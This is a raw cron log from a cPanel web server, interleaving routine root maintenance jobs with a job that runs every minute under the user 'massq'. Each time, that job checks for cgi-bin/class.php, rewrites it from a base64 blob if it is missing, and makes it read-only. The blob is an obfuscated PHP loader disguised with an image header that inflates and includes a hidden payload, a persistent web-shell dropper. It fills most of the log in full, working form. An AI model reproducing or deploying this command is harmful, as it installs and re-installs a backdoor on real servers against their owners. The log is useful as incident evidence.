Nov 12 20:32:01 server CROND[20365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:33:01 server CROND[21185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:34:01 server CROND[22061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:35:01 server CROND[22933]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 20:35:01 server CROND[22934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:35:01 server CROND[22936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:35:01 server CROND[22939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:35:01 server CROND[22937]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 20:36:01 server CROND[23924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:37:01 server CROND[24796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:38:01 server CROND[25670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:39:01 server CROND[26529]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 20:39:01 server CROND[26531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:40:01 server CROND[27401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 20:40:01 server CROND[27402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:40:01 server CROND[27403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:40:01 server CROND[27404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:41:01 server CROND[28378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:42:01 server CROND[29277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 20:42:01 server CROND[29278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:43:01 server CROND[30150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:44:01 server CROND[31001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:45:01 server CROND[32042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
